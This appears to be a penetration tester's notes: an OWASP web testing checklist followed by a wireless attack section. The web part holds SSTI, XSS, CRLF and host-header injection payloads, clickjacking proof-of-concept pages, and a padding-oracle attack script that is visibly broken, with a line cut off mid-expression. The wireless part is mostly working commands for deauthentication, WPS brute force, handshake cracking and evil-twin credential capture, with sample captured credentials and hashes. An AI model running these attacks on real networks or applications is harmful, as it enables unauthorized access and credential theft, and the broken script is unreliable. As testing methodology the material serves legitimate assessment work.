```
​
```

## 4.7.14 [Testing for Incubated Vulnerability](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/14-Testing_for_Incubated_Vulnerability)

* [ ] Identify injections that are stored and require a recall step to the stored injection.
* [ ] Understand how a recall step could occur.
* [ ] Set listeners or activate the recall step if possible.

**Evidence**:

```
​
```

## 4.7.15 [Testing for HTTP Splitting Smuggling](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/15-Testing_for_HTTP_Splitting_Smuggling)

* [ ] Identify if there are are functions where user input gets reflected into HTTP response headers.
  * [ ] Inject `%0d%0a`, which represents the CRLF.
  * [ ] Try to inject headers like `Location` or `Set-Cookie`.
* [ ] Perform HTTP Smuggling attack based on the following PoCs
  * [ ] [CT.TE.](https://the-pentesting-guide.marmeus.com/web/http_request_smuggling#cl.te)
  * [ ] [TE.CL.](https://the-pentesting-guide.marmeus.com/web/http_request_smuggling#te.cl)
  * [ ] [TE.TE.](https://the-pentesting-guide.marmeus.com/web/http_request_smuggling#te.te)

**Evidence**:

```
​
```

## 4.7.16 [Testing for HTTP Incoming Requests](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/16-Testing_for_HTTP_Incoming_Requests)

* [ ] Monitor all incoming and outgoing HTTP requests to the Web Server to inspect any suspicious requests.

**Evidence**:

```
​
```

## 4.7.17 [Testing for Host Header Injection](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection)

* [ ] [Modify the value](https://the-pentesting-guide.marmeus.com/web/host_header_injection#test-host-header-injection) of the `Host` header in different endpoints on the application.
* [ ] Try to inject `%0d%0a`, which represents the CRLF, in order to perform HTTP Splitting.
* [ ] Try to use custom host headers to check if it changes the contents on the application.

```http
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-IP: 127.0.0.1
X-Forwarded-Server: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Host: 127.0.0.1
X-HTTP-Host-Override: 127.0.0.1
X-Client: 127.0.0.1
X-Host: 127.0.0.1
```

**Evidence**:

```
​
```

## 4.7.18 [Testing for Server-side Template Injection](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server-side_Template_Injection)

* [ ] Identify user input that gets reflected
* [ ] Insert SSTI polyglots `${{<%[%'"}}%\` or payloads.

```python
a{{7*7}}b
a{{7*7}}
{7*7} 
${7*7} 
{{7*7}} 
<% 7*7 %> 
[% 7*7 %]
```

* [ ] Identify the templating engine.
* [ ] Build the exploit.

**Evidence**:

```
​
```

## 4.7.19 [Testing for Server-Side Request Forgery](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/19-Testing_for_Server-Side_Request_Forgery)

* [ ] Identify function in the application that performs requests to external or internal sources or third parties.
* [ ] Identify parameters with values that points to internal or external sources.
* [ ] Test if the injection points are exploitable as in the "4.7.11 Testing for Code Injection".
* [ ] Asses the severity of the vulnerability.

**Evidence**:

```
​
```


# 4.8 Testing for Error Handling

## [Testing for Error Handling](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README)

## 4.8.1 [Testing for Improper Error Handling](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_For_Improper_Error_Handling)

* [ ] Trigger Web Server errors:
  * [ ] Search for random files and folders that will not be found (404s).
  * [ ] Try to request folders that exist and see the server behavior (403s, blank page, or directory listing).
  * [ ] Try sending a request that breaks the HTTP RFC. One example would be to send a very large path, break the headers format, or change the HTTP version.
* [ ] Trigger Web Application errors:
  * [ ] Identify possible input points where the application is expecting data.
  * [ ] Analyse the expected input type (strings, integers, JSON, XML, etc.).
  * [ ] Try to inject unexpected data like negative numbers, strings, random values, one extra bracket.
  * [ ] Understand the service responding with the error message and try to make a more refined fuzz list to bring out more information or error details from that service (it could be a database, a standalone service, etc.).

**Evidence**:

```
​
```

## 4.8.2 [Testing for Stack Traces](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/02-Testing_for_Stack_Traces)

This content has been merged into: [Testing for Improper Error Handling](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_For_Improper_Error_Handling).

**Evidence**:

```
​
```


# 4.9 Testing for Weak Cryptography

## [Testing for Weak Cryptography](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/README)

## 4.9.1 [Testing for Weak Transport Layer Security](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/01-Testing_for_Weak_Transport_Layer_Security)

* [ ] Use `testssl.sh` tool and look in the "Testing vulnerabilities" section if there is any vulnerability

**Evidence**:

```
​
```

## 4.9.2 [Testing for Padding Oracle](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/02-Testing_for_Padding_Oracle)

* [ ] Use tools like [PadBuster](https://github.com/AonCyberLabs/PadBuster) in order to perform Padding Oracle attacks againstg a cookie.
* [ ] I have created the following script, not sure if it works.

```python
import requests
import base64
import urllib.parse
import urllib3
​
# Suppress only the InsecureRequestWarning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
​
# Target URL
url = "<URL>"
​
# Proxy configuration
proxies = {
    'http': 'http://127.0.0.1:8080',  # Set your proxy here
    'https': 'http://127.0.0.1:8080'  # Set your proxy here
}
​
# Original cookie (URL decoded)
original_cookie = "<COOKIE>"
​
# Decode the cookie (it's URL encoded)
cookie_value = urllib.parse.unquote(original_cookie)
​
# Convert the cookie value from Base64 (replace URL-safe characters)
ciphertext = base64.b64decode(cookie_value)
​
# Splitting the ciphertext into blocks (assuming AES block size of 16 bytes)
block_size = 16
blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]
​
# Function to send a request with a modified cookie and check for padding errors
def check_padding_oracle(modified_ciphertext):
    # Base64 encode the modified ciphertext and URL encode it
    modified_cookie = base64.b64encode(modified_ciphertext).decode().replace('+', '-').replace('/', '_').rstrip('=')
    modified_cookie = urllib.parse.quote(modified_cookie)
​
    # Send the request with the modified cookie
    cookies = {'NotificationStateV2.0': modified_cookie}
    response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)  # verify=False to skip SSL warnings)
​
    # Check for a padding error based on the response
    # You may need to change this based on how the server responds (403, 500, specific message, etc.)
    if response.status_code == 500:  # Adjust this condition as needed
        return True  # Padding error
    return False
​
# Padding Oracle Attack logic
def padding_oracle_attack(blocks):
    decrypted_blocks = []
    for block_index in range(1, len(blocks)):
        decrypted_block = bytearray(block_size)  # Store decrypted bytes for this block
        intermediate_state = bytearray(block_size)  # Store intermediate state bytes
​
        previous_block = blocks[block_index - 1]
        current_block = blocks[block_index]
​
        # Decrypt each byte in the current block
        for byte_index in range(1, block_size + 1):
            padding_value = byte_index
​
            # Try all possible byte values to guess the correct padding
            for guess in range(256):
                # Modify the previous block to produce the correct padding
                modified_block = bytearray(previous_block)
                for i in range(1, padding_value):
                    modified_block[-i] ^= intermediate_state[-i] ^ padding_value
​
                modified_block[-padding_value] ^= guess
​
                # Concatenate the modified previous block and the current block
                modified_ciphertext = bytes(modified_block) + bytes(current_bl
                # Check if we found the correct padding
                if check_padding_oracle(modified_ciphertext):
                    intermediate_state[-padding_value] = guess ^ padding_value
                    decrypted_block[-padding_value] = intermediate_state[-padding_value] ^ previous_block[-padding_value]
                    break
​
        decrypted_blocks.append(decrypted_block)
​
    return b''.join(decrypted_blocks)
​
# Launching the attack
if __name__ == "__main__":
    decrypted = padding_oracle_attack(blocks)
    print("Decrypted message:", decrypted)
```

**Evidence**:

```
​
```

## 4.9.3 [Testing for Sensitive Information Sent via Unencrypted Channels](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/03-Testing_for_Sensitive_Information_Sent_via_Unencrypted_Channels)

* [ ] Check if the application performs any request over HTTP.

**Evidence**:

```
​
```

## 4.9.4 [Testing for Weak Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)

* [ ] Based on the `testssl.sh` output.
  * [ ] Check if the "Testing cipher categories" offers CBC ciphers.
  * [ ] In "Testing robust forward secrecy" check that algorithms like SHA1 or MD5 are not offered.

**Evidence**:

```
​
```


# 4.10 Business Logic Testing

## [Business Logic Testing](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/10-Business_Logic_Testing/README)

## 4.10.1 [Test Business Logic Data Validation](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/10-Business_Logic_Testing/01-Test_Business_Logic_Data_Validation)

* [ ] Identify data injection points.
* [ ] Validate that all checks are occurring on the back end and can’t be bypassed.
* [ ] Attempt to break the format of the expected data and analyze how the application is handling it.

**Evidence**:

```
​
```

## 4.10.2 [Test Ability to Forge Requests](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/10-Business_Logic_Testing/02-Test_Ability_to_Forge_Requests)

* [ ] Review the project documentation looking for guessable, predictable, or hidden functionality of fields.
* [ ] Insert logically valid data in order to bypass normal business logic workflow.

**Evidence**:

```
​
```

## 4.10.3 [Test Integrity Checks](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/10-Business_Logic_Testing/03-Test_Integrity_Checks)

* [ ] Review the project documentation for components of the system that move, store, or handle data.
* [ ] Determine what type of data is logically acceptable by the component and what types the system should guard against.
* [ ] Determine who should be allowed to modify or read that data in each component.
* [ ] Attempt to insert, update, or delete data values used by each component that should not be allowed per the business logic workflow.

**Evidence**:

```
​
```

## 4.10.4 [Test for Process Timing](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/10-Business_Logic_Testing/04-Test_for_Process_Timing)

* [ ] Look for user inputs that could be used to enumerate hidden information by the attacker. (Login panel, password recovery, etc.)
* [ ] Send data to see if it takes more time or less depending of the values used.

**Evidence**:

```
​
```

## 4.10.5 [Test Number of Times a Function Can Be Used Limits](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/10-Business_Logic_Testing/05-Test_Number_of_Times_a_Function_Can_Be_Used_Limits)

* [ ] Perform the same request as many times as possible until a rate limiting function is triggered. This can be applied to functions like "apply coupons", "login" or "recovery password."
* [ ] Identify functions that must set limits to the times they can be called.
* [ ] Assess if there is a logical limit set on the functions and if it is properly validated.

**Evidence**:

```
​
```

## 4.10.6 [Testing for the Circumvention of Work Flows](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/10-Business_Logic_Testing/06-Testing_for_the_Circumvention_of_Work_Flows)

* [ ] Review the project documentation for methods to skip or go through steps in the application process in a different order from the intended business logic flow.
* [ ] Develop a misuse case and try to circumvent every logic flow identified.

**Evidence**:

```
​
```

## 4.10.7 [Test Defenses Against Application Misuse](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/10-Business_Logic_Testing/07-Test_Defenses_Against_Application_Misuse)

* [ ] Review which tests had a different functionality based on aggressive input.
* [ ] Understand the defenses in place and verify if they are enough to protect the system against bypassing techniques.
  * [ ] Check if there are defenses against SQLI, XSS, RCE, malware file upload.

**Evidence**:

```
​
```

## 4.10.8 [Test Upload of Unexpected File Types](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/10-Business_Logic_Testing/08-Test_Upload_of_Unexpected_File_Types)

* [ ] Study the applications logical requirements.
* [ ] Prepare a library of files that are “not approved” for upload that may contain files such as: jsp, exe, or HTML files containing script.
* [ ] In the application navigate to the file submission or upload mechanism.
* [ ] Submit the “not approved” file for upload and verify that they are properly prevented from uploading
* [ ] Check if the website only do file type check in client-side JavaScript
* [ ] Check if the website only check the file type by “Content-Type” in HTTP request.
* [ ] Check if the website only check by the file extension.
* [ ] Check if other uploaded files can be accessed directly by specified URL.
* [ ] Check if the uploaded file can include code or script injection.
* [ ] Check if there is any file path checking for uploaded files. Especially, hackers may compress files with specified path in ZIP so that the unzip files can be uploaded to intended path after uploading and unzip.

**Evidence**:

```
​
```

## 4.10.9 [Test Upload of Malicious Files](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/10-Business_Logic_Testing/09-Test_Upload_of_Malicious_Files)

* [ ] Try to upload an EICAR file and try to access it.

```regex
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
```

**Evidence**:

```
​
```


# 4.11 Client-side Testing

## [Client-side Testing](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/README)

## 4.11.1 [Testing for DOM-Based Cross Site Scripting](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/01-Testing_for_DOM-based_Cross_Site_Scripting)

* [ ] Append the payload `#"><script>alert('xss')</script>` into the URL on different endpoints of the application.
* [ ] Indetify sources:

```regex
document.URL|document.documentURI|document.URLUnencoded|document.baseURI|location.search|document.cookie|document.referrer|location.
```

* [ ] Identify DOM sinks.

```regex
document.write\(|document.writeln\(|document.domain|\w\.innerHTML|\w\.outerHTML|\w\.insertAdjacentHTML|\w\.onevent
```

* [ ] Use Burp Suite DOM-Invader to identify/exploit id there is DOM-Based XSS

**Evidence**:

```
​
```

## 4.11.2 [Testing for JavaScript Execution](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/02-Testing_for_JavaScript_Execution)

* [ ] Because the latter section was focused on JavaScript execution, there is no need to check it again.

**Evidence**:

```
​
```

## 4.11.3 [Testing for HTML Injection](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/03-Testing_for_HTML_Injection)

* [ ] Most of the reflected, stored , DOM-Based XSS can also be considered HTML injection
* [ ] Identify HTML injection points and assess the severity of the injected content.

**Evidence**:

```
​
```

## 4.11.4 [Testing for Client-side URL Redirect](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/04-Testing_for_Client-side_URL_Redirect)

* [ ] Identify injection points that handle URLs or paths.

```regex
[?&](url|link|redirect|target|site|page|navigate|ref|callback|host|return|next|returnurl|redirectUrl)=
```

* [ ] Assess the locations that the system could redirect to.

**Evidence**:

```
​
```

## 4.11.5 [Testing for CSS Injection](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/05-Testing_for_CSS_Injection)

* [ ] Identify JavaScript injection points that manages CSS Styles.
* [ ] Assess the impact of the injection.

**Evidence**:

```
​
```

## 4.11.6 [Testing for Client-side Resource Manipulation](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/06-Testing_for_Client-side_Resource_Manipulation)

* [ ] Identify sinks with weak input validation that are used to retrieve resources.
* [ ] Assess the impact of the resource manipulation.

```regex
[?&](file|path|document|folder|dir|download|resource|view|load|template|img|image)=|.src=
```

**Evidence**:

```
​
```

## 4.11.7 [Testing Cross Origin Resource Sharing](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/07-Testing_Cross_Origin_Resource_Sharing)

* [ ] Check that the value of `Access-Control-Allow-Origin` is not set to `*` or `null`. Except in the case of a public API that is intended to be accessible by everyone.
* [ ] Check that the header `Access-Control-Allow-Credentials` is not in used with `Access-Control-Allow-Origin: *` on a private API.
* [ ] Check for reflection on the `Allow-Origin` header, based on the input of the `Origin` header.

**Evidence**:

```
​
```

## 4.11.8 [Testing for Cross Site Flashing](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/08-Testing_for_Cross_Site_Flashing)

* [ ] Check if the application has Flash source code

**Evidence**:

```
​
```

## 4.11.9 [Testing for Clickjacking](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/09-Testing_for_Clickjacking)

* [ ] Perform a simple clickjacking attack:

```html
<!-- clickjacking.html: -->
<html>
   <head>
     <title>Clickjack test page</title>
   </head>
   <body>
     <h1>Website is vulnerable to clickjacking attacks!</h1>
     <p>Embebed in a iframe for clickjackings attacks</p> 
     <p>Authenticated page with privilege actions</p> 
     <input type="button" value="Vulnerable" style="position:absolute;top:280;left:450;background-color:red;color:white;padding: 10px 15px;">
     <iframe src="https://example.com/" style="opacity:0.5; filter:alpha(opacity=30)" width="1500" height="1000"></iframe>
   </body>
</html>
```

* [ ] Check the response headers for `X-Frame-Options: SAMEORIGIN`. If exists, the attacks below most of the won't work.
* [ ] Check for "Frame Busting" scripts
* [ ] Try to perform a "Double Framing".

```html
<!-- Attacker’s top frame (pre-clickjacking.html): -->
<h1>Double Framing Attack (First Frame)</h1>
<iframe src="clickjacking.html" width="3000" height="2000"></iframe>
```

* [ ] Try disabling Javascript:

```html
<iframe src="http://example.org" security="restricted"></iframe>
```

* [ ] Try using sandbox attributte:

```html
<iframe src="http://example.org" sandbox></iframe>
```

* [ ] OnBeforeUnload Event

```html
<h1>www.fictitious.site</h1>
<script>
    window.onbeforeunload = function()
    {
        return " Do you want to leave fictitious.site?";
    }
</script>
<iframe src="http://example.org">
```

**Evidence**:

```
​
```

## 4.11.10 [Testing WebSockets](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/10-Testing_WebSockets)

* [ ] Identify that the application is using WebSockets.
  * Inspect the client-side source code for the `ws://` or `wss://` URI scheme.
  * Use Google Chrome’s Developer Tools to view the Network WebSocket communication.
  * Use [ZAP’s](https://www.zaproxy.org/) WebSocket tab.
* [ ] Origin.
  * Using a WebSocket client (one can be found in the [Tools](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/10-Testing_WebSockets#Tools) section below) attempt to connect to the remote WebSocket server. If a connection is established the server may not be checking the origin header of the WebSocket handshake.
* [ ] Confidentiality and Integrity.
  * Check that the WebSocket connection is using SSL to transport sensitive information `wss://`.
  * Check the SSL Implementation for security issues (Valid Certificate, BEAST, CRIME, RC4, etc). Refer to the [Testing for Weak Transport Layer Security](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/01-Testing_for_Weak_Transport_Layer_Security) section of this guide.
* [ ] Authentication.
  * WebSockets do not handle authentication, normal black-box authentication tests should be carried out. Refer to the [Authentication Testing](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/README) sections of this guide.
* [ ] Authorization.
  * WebSockets do not handle authorization, normal black-box authorization tests should be carried out. Refer to the [Authorization Testing](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/README) sections of this guide.
* [ ] Input Sanitization.
  * Use [ZAP’s](https://www.zaproxy.org/) WebSocket tab to replay and fuzz WebSocket request and responses. Refer to the [Testing for Data Validation](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/README) sections of this guide.

**Evidence**:

```
​
```

## 4.11.11 [Testing Web Messaging](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/11-Testing_Web_Messaging)

* [ ] Identify `addEventListener|postMessage` events.
* [ ] Try to exploit those events.

**Evidence**:

```
​
```

## 4.11.12 [Testing Browser Storage](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/12-Testing_Browser_Storage)

* [ ] Check if there is sensitive data stored on the browser's local or session storage.
* [ ] Determine whether the website is storing data in client-side storage `window.localStorage|window.sessionStorage`.
* [ ] The code handling of the storage objects should be examined for possibilities of injection attacks, such as utilizing unvalidated input or vulnerable libraries.

**Evidence**:

```
​
```

## 4.11.13 [Testing for Cross Site Script Inclusion](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/13-Testing_for_Cross_Site_Script_Inclusion)

* [ ] Detect if there is sensitive data on JS files. You can use extensions as JS Miner.

**Evidence**:

```
​
```


# 4.12 API Testing

## [API Testing](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/12-API_Testing/README)

## 4.12.1 [Testing GraphQL](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/12-API_Testing/01-Testing_GraphQL)

* [ ] Assess that a secure and production-ready configuration is deployed.
* [ ] Validate all input fields against generic attacks.
* [ ] Ensure that proper access controls are applied.

**Evidence**:

```
```


# WIFI

## Introduction

The WIFI section of the Information gathering phase explained how to discover the company's wireless Access Points and their clients. So, in this section, you will find some methods about how to crack them.

## MAC address access control

Despite having authentication methods, some networks also have access control lists based on the MAC address of the devices. Nevertheless, this can be bypassed pretty easily by changing the attacker's MAC address by one of the network's stations.

```bash
# 1. Option
sudo macchanger -m <XX:XX:XX:XX:XX:XX> <IF>
# 2. Option
sudo ifconfig <IF> down
sudo ifconfig <IF> hw ether <XX:XX:XX:XX:XX:XX>
sudo ifconfig <IF> up
```

## Authentication tests

Depending on the authentication mechanisms implemented by the wireless networks, exists different methods to retrieve the password to access the network. However, all these mechanisms require of brute force attacks.

### WPS Attacks

In order to obtain the PIN we can use [reaver](https://github.com/t6x/reaver-wps-fork-t6x) or [bully](https://github.com/aanarchyy/bully).

```bash
sudo reaver -i <MON_IF> -b <AP_MAC> -vvNwf [-K {1|2|3}] -c <CHANNEL>
sudo bully <MON_IF> -b <AP_MAC> -c <CHANNEL> -S -F -B -v 3
```

* `K`: Run pixiedust attack
* `vv`: Verbose
* `N`: Do not send NACK messages when out-of-order packets are received
* `w`: Mimic a W7 registrar
* `f`: Disable channel hopping

**Note**: I have not been able on any a single AP to obtain the PIN

If the WPS pin has been found we can ask the AP to provide the WPA key.

```bash
sudo reaver -i <MON_IF> -b <AP_MAC> -vvNwf -c <CHANNEL> -p <FOUND_IP>
```

### Capture and Handshake cracking

#### Wired Equivalent Privacy (WEP)

After detecting the WEP target network, the attacker can use [besside-ng](https://www.aircrack-ng.org/doku.php?id=besside-ng) (It also works for WPA `-W`) which does the job pretty easily, returning the WEP key in hexadecimal (It can be converted using a HEX to ASCII converter). Nonetheless, you can always use aircrack-ng to obtain the ASCII version `aircrack-ng <WEP.PCAP>`.

```bash
besside-ng -c <CHANNEL> -b <BSSID_MAC> <MON_IF>
```

**Note**: The application can crash while attacking the AP; keep trying until obtaining the WEP key.

#### Wi-Fi Protected Access (WPA2-PSK)

WPA2 replaced WEP due to its [several weaknesses](http://www.opus1.com/www/whitepapers/whatswrongwithwep.pdf). However, WPA2-PSK still has flaws because the encrypted Pre-Shared Key (PSK) is shared during the process 4-way handshake. Hence, an attacker could sniff those network packets for password cracking in the future.

The attack process is the following:

1\. Capture the target's AP traffic.

```bash
airodump-ng --bssid <TARGET_BSSID> -c <CHANNEL> --write <OUTPUT_CAP> <MON_I>
```

2\. Deauthenticating a client or the entire network (More changes to obtain a handshake). keep doing this step until you get the "WPA handshake: XXXXX" message on airodump.

```bash
# The whole network
aireplay-ng -0 <NUM_DEAUTH_PKTS> -a <TARGET_BSSID> <MON_IF>
# A client
aireplay-ng -0 100 -a <TARGET_BSSID> -c <CLIENT_MAC> <MON_IF>
```

3\. Cracking the password with dictionary attacks can be done with aircrack-ng or hashcat, being the latter faster.

```bash
# Aircrack
aircrack-ng -w <WORDLIST> -b <TARGET_BSSID> <FILE_CAP>
#Hashcat
hcxpcapngtool $(find . -name *.cap) -o <HANDSHAKES.txt>
hashcat -m 22000 <HANDSHAKES.TXT> <WORDLIST.TXT>
```

**Note**: If you want to perform a brute force attack to crack the password, you can use the following command.

```bash
crunch <MIN_LENGTH> <MAX_LENGTH> <CHARACTERS> | aircrack-ng -w - -b <TARGET_BSSID> <FILE_PCAP>
```

#### EAP-MD5

EAP-MD5 is a legacy authentication mechanism that does not provide sufficient protection for user authentication credentials. Users who authenticate using EAP-MD5 subject themselves to an offline dictionary attack vulnerability.

The tool [eapmd5pass](https://github.com/joswr1ght/eapmd5pass) can be used to retrieve the EAP-MD5 authentication exchange and start a dictionary attack against the user's password.

### EAP live brute force

The WPA-EAP APs require of a user and a password to authenticate against the network. You can use the following tools for wireless networks to brute force some credentials.

**Note**: These tools are sometimes hard to set up in updated environments and, depending on the authentication protocol, might not work.

* [identityATTACK](https://github.com/InfamousSYN/identityATTACK)
* [Auto\_EAP](https://github.com/Tylous/Auto_EAP)
* [Air-Hammer](https://github.com/Wh1t3Rh1n0/air-hammer)

Furthermore, another test that could be performed is to try to block user accounts using a user provided by the company and make a lot of failed login attempts.

## Phishing

The wireless phishing attack consists of creating an evil twin AP while performing a deautentication attack against the target AP, to trick the victim into login into our fake AP and obtaining some credentials.

### WPA-PSK

For environments that use WPA/2 with Pre-Shared key authentication, like a house or a small business, several tools can be used to create a fake access point, tricking the victim into providing the key. These tools are:

* [eaphammer](https://github.com/s0lst1c3/eaphammer) creates an evil twin in order to retrieve the handshake for later cracking.

```bash
# The obtained file is: loot/wpa_handshake_capture*.hccapx
sudo ./eaphammer -i <IF> --channel <CHANNEL> --auth wpa-psk --essid <TARGET_ESSID> --ssid <TARGET_BSSID> --creds
```

After obtaining the handshake needs several transformations before being cracked with HashCat. You need to use **hcxhash2cap** and **hcxpcapngtool** from [hcxtools](https://github.com/ZerBea/hcxtools) to transform the hccapx file into a hash.

```bash
./hcxhash2cap --hccapx=<HANDSHAKE.hccapx> -c <OUTPUT.cap>
./hcxpcapngtool <OUTPUT.cap> -o <HASH.TXT>
hashcat -a 0 -m 22000 <HASH.TXT> <WORDLIST.TXT>
```

* [Wifiphisher](https://www.kali.org/tools/wifiphisher/) in a very simple way creates a fake access point with a phishing webpage (it can be changed), inducing the victim to enter the wireless AP key. Furthermore, if a second wireless network interface is provided, it also makes a deautentication attack against the victim AP.

```bash
sudo wifiphiser
[...]
[*] POST request from 10.0.0.61 with wfphshr-wpa-password=password1234
```

### WIFI-Enterprise

In order to obtain some credentials to access the network, you can create fake access points such as evil-twins, making the client connect to your AP and providing the credentials for later use.

For doing this type of attack you can choose between **eaphammer** or **hostpad-wpe**, depending on your hacking environment, if you are using WIFI pineapples or a kali machine.

#### Eaphammer - Kali

**Installation & Configuration**

Because the version that is on the Kali Linux repositories has a programming error, you need to download the one from the GitHub repositories.

```bash
git clone https://github.com/s0lst1c3/eaphammer.git
cd eaphammer
sudo ./kali-setup
# Create the certificate with the data of your victim's certificate in order to be more trusted.
sudo python3 eaphammer --cert-wizard
```

**Attack**

To set the rogue access point use the following command and do to **forget to deautenticate the original AP**.

```bash
sudo python3 eaphammer -i <IF> --channel <CHANNEL> --auth wpa-eap --essid <VICTIMS_SSID> --creds

[...]
# Mobile
         username:      pepe
         password:      palotes
[...]
# Windows
         domain\username:               pepe
         username:                      pepe
         challenge:                     c9:fa:47:6b:34:ca:b4:ea
         response:                      25:44:19:55:4f:a1:9f:b5:68:00:58:67:e3:58:00:ed:6f:0d:3d:6f:b2:7d:63:ab
         jtr NETNTLM:                   pepe:$NETNTLM$c9fa476b34cab4ea$254419554fa19fb568005867e35800ed6f0d3d6fb27d63ab
         hashcat NETNTLM:               pepe::::254419554fa19fb568005867e35800ed6f0d3d6fb27d63ab:c9fa476b34cab4ea
```

#### Hostpad-wpe (Pinneaple v2.1.0)

With **hostpad-wpe** we can create a fake radius AP where the users can log in to obtain its credentials, that will require a post cracking phase.

For the latest version of the pineapple is more challenging to install, due to there is not available modules on the repositories. So, you will need to execute the following commands.

```bash
# Installation
wget https://github.com/jekkos/hostapd-wpe-openwrt/releases/download/2/hostapd-common_2019-08-08-ca8c2bd2-4_mips_24kc.ipk
wget https://github.com/jekkos/hostapd-wpe-openwrt/releases/download/2/hostapd-wpe_git-2_mips_24kc.ipk
scp hostapd-common_2019-08-08-ca8c2bd2-4_mips_24kc.ipk root@<PINEAPPLE_IP>:/tmp/
scp hostapd-wpe_git-2_mips_24kc.ipk root@<PINEAPPLE_IP>:/tmp/
opkg install /tmp/hostapd-common_2019-08-08-ca8c2bd2-4_mips_24kc.ipk
opkg install /tmp/hostapd-wpe_git-2_mips_24kc.ipk
opkg update && opkg install coreutils-nohup

# Configuration
# By default it doesn't show the challgenge respose, so we need to add the following lines
echo "eap_server=1" >> /etc/hostapd-wpe/hostapd-wpe.conf
echo "eap_fast_a_id=101112131415161718191a1b1c1d1e1f" >> /etc/hostapd-wpe/hostapd-wpe.conf
echo "eap_fast_a_id_info=hostapd-wpe" >> /etc/hostapd-wpe/hostapd-wpe.conf
echo "eap_fast_prov=3" >> /etc/hostapd-wpe/hostapd-wpe.conf
echo "ieee8021x=1" >> /etc/hostapd-wpe/hostapd-wpe.conf
echo "pac_key_lifetime=604800" >> /etc/hostapd-wpe/hostapd-wpe.conf
echo "pac_key_refresh_time=86400" >> /etc/hostapd-wpe/hostapd-wpe.conf
echo "pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f" >> /etc/hostapd-wpe/hostapd-wpe.conf
